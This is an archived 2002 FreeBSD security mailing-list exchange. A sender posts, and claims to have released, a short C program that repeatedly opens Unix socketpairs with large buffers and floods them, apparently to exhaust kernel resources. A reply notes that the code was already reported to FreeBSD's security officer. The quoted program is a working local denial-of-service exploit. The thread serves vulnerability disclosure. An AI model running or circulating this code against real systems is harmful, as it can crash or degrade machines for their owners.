From owner-freebsd-security Mon Sep 2 14:15:50 2002 Delivered-To: freebsd-security@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0CF8037B401 for ; Mon, 2 Sep 2002 14:15:36 -0700 (PDT) Received: from web12904.mail.yahoo.com (web12904.mail.yahoo.com [216.136.174.71]) by mx1.FreeBSD.org (Postfix) with SMTP id 8158843E75 for ; Mon, 2 Sep 2002 14:15:35 -0700 (PDT) (envelope-from bad_dot_c@yahoo.com) Message-ID: <20020902211535.90147.qmail@web12904.mail.yahoo.com> Received: from [24.226.97.66] by web12904.mail.yahoo.com via HTTP; Mon, 02 Sep 2002 22:15:35 BST Date: Mon, 2 Sep 2002 22:15:35 +0100 (BST) From: =?iso-8859-1?q?Ivan=20Streetovich?= Subject: Re: From: Ivan Streetovich, Japan To: Benjamin Krueger , chat@freebsd.org, security@freebsd.org In-Reply-To: <20020902015252.G64882@mail.seattleFenix.net> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org --- Benjamin Krueger wrote: > * Ivan Streetovich (bad_dot_c@yahoo.com) [020901 > 23:15]: > > > > > > > > __________________________________________________ > > Do You Yahoo!? > > Everything you'll ever need on one web page > > from News and Sport to Email and Music Charts > > http://uk.my.yahoo.com > > Date: Mon, 2 Sep 2002 07:05:52 +0100 (BST) > > From: Ivan Streetovich > > Subject: From: Ivan Streetovich, Japan > > To: security@freebsd.com > > > > #define BUFFERSIZE 204800 > > extern int > > > > /* Released by Ivan Streetovich, Japan * > > * Causes problems on FreeBSD */ > > > > main(void) > > { > > int p[2], i; > > char crap[BUFFERSIZE]; > > while (1) > > { > > if (socketpair(AF_UNIX, > SOCK_STREAM, > > 0, p) == -1) > > break; > > i = BUFFERSIZE; > > setsockopt(p[0], SOL_SOCKET, > > SO_RCVBUF, &i, sizeof(int)); > > setsockopt(p[0], SOL_SOCKET, > > SO_SNDBUF, &i, sizeof(int)); > > setsockopt(p[1], SOL_SOCKET, > > SO_RCVBUF, &i, sizeof(int)); > > setsockopt(p[1], SOL_SOCKET, > > SO_SNDBUF, &i, sizeof(int)); > > fcntl(p[0], F_SETFL, O_NONBLOCK); > > fcntl(p[1], F_SETFL, O_NONBLOCK); > > write(p[0], crap, BUFFERSIZE); > > write(p[1], crap, BUFFERSIZE); > > } > > exit(0); > > } > > This problem (and this exact source code, funnily > enough. Are you sure you > released it?) has already been reported to the > security-officer and is > (afaik) being addressed by the developers. =) > > -- > Benjamin Krueger > > "Everyone has wings, some folks just don't know what > they're for" > - B. Banzai > ---------------------------------------------------------------- > Send mail w/ subject 'send public key' or query for > (0x251A4B18) > Fingerprint = A642 F299 C1C1 C828 F186 A851 CFF0 > 7711 251A 4B18 i got first, was sent SO from x-friend __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message